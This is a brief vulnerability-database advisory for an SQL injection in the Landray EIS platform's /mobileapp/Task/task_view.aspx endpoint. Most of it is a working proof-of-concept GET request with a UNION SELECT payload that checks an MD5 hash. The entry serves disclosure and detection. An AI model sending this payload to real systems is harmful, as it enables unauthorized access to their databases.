蓝凌EIS智慧协助平台 /mobileapp/Task/task_view.aspx SQL注入漏洞

2024-04-29 蓝凌EIS智慧协同平台 PoC Public

Description

蓝凌EIS智慧协助平台 /mobileapp/Task/task_view.aspx SQL注入漏洞。

PoC

GET /mobileapp/Task/task_view.aspx?id=1+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,sys.fn_sqlvarbasetostr(HashBytes('MD5','5345')),NULL,NULL--+muVwfDUP HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://stack.chaitin.com/vuldb/detail/6b8a8e44-9e7c-4f81-9d23-303891f1900e

Related Vulnerabilities